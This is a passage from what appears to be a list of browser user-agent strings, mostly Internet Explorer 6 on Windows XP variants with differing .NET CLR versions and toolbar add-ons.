CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3; Crazy Browser 2.0.1); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; Tablet PC 1.7; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); HbTools 4.6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); PeoplePal 3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (compatible; MSIE 6.0; Windows NT 5.1; SV1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607; InfoPath.1; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Media Center PC 4.0; FDM; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Avalon 6.0.5070; .NET CLR 2.0.50215; WinFX RunTime 3.0.50215; Media Center PC 4.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; HbTools 4.8.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Media Center PC 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Media Center PC 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Sleipnir/2.30 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 3.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; PeoplePal 3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Tablet PC 1.7; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.1432) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Sleipnir/2.21 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Sleipnir/2.48 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40903) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Avalon 6.0.4030; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Avalon 6.0.5070; WinFX RunTime 3.0.50215; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.48 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.6.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Paros/3.2.13 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.6 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 